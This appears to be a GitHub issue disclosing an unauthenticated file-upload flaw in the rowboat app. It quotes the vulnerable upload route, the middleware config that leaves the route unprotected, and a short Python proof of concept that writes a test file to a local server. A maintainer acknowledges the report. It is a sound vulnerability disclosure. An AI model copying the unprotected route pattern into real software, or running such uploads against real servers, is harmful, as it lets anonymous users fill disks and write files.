rowboat icon indicating copy to clipboard operation
rowboat copied to clipboard

[BUG][Security] Unauthorized file upload problem

Open B1aNB1aN opened this issue 6 months ago • 1 comments

Description of the bug

The api defined in apps/rowboat/app/api/uploads/[fileId]/route.ts should not be available to anyone. Wrong configuration make anonymous can access to this api.

// PUT endpoint to handle file uploads
export async function PUT(
    request: NextRequest,
    { params }: { params: { fileId: string } }
) {
    const fileId = params.fileId;
    if (!fileId) {
        return NextResponse.json({ error: 'Missing file ID' }, { status: 400 });
    }

    const filePath = path.join(UPLOADS_DIR, fileId);

    try {
        const data = await request.arrayBuffer();
        await fs.writeFile(filePath, new Uint8Array(data));

auth middleware configuration.

export const config = {
  matcher: [
    '/projects/:path*',
    '/billing/:path*',
    // '/onboarding/:path*',
    '/api/v1/:path*',
    '/api/widget/v1/:path*',
  ],
};

Without login checking, attackers can upload unlimited number of files to server to occupy the rest of disk spaces until the server disk is full.

Steps to reproduce

  1. configure auth0 and RAG_UPLOADS_DIR environment variable.
USE_AUTH=true
# some AUTH0 configuration
USE_RAG_UPLOADS=true
RAG_UPLOADS_DIR=./uploads
  1. start server.
cd apps/rowboat
pnpm start
  1. run script
import requests

file_a = open('a.txt', 'w')
file_a.write('This is a test file for upload.')
file_a.close()

url = "http://127.0.0.1:3000/api/uploads/123.txt"

with open('a.txt', 'rb') as f:
   payload = {}
   files=[
     ('file',('a.txt',f, 'application/octet-stream'))
   ]
   headers = {}

   response = requests.request("PUT", url, headers=headers, data=payload, files=files)

   print(response.text)
  1. a file named 123.txt will be written to uploads directory.

B1aNB1aN avatar Jun 23 '25 02:06 B1aNB1aN

Good catch @B1aNB1aN . I'll take this up

ramnique avatar Jun 23 '25 07:06 ramnique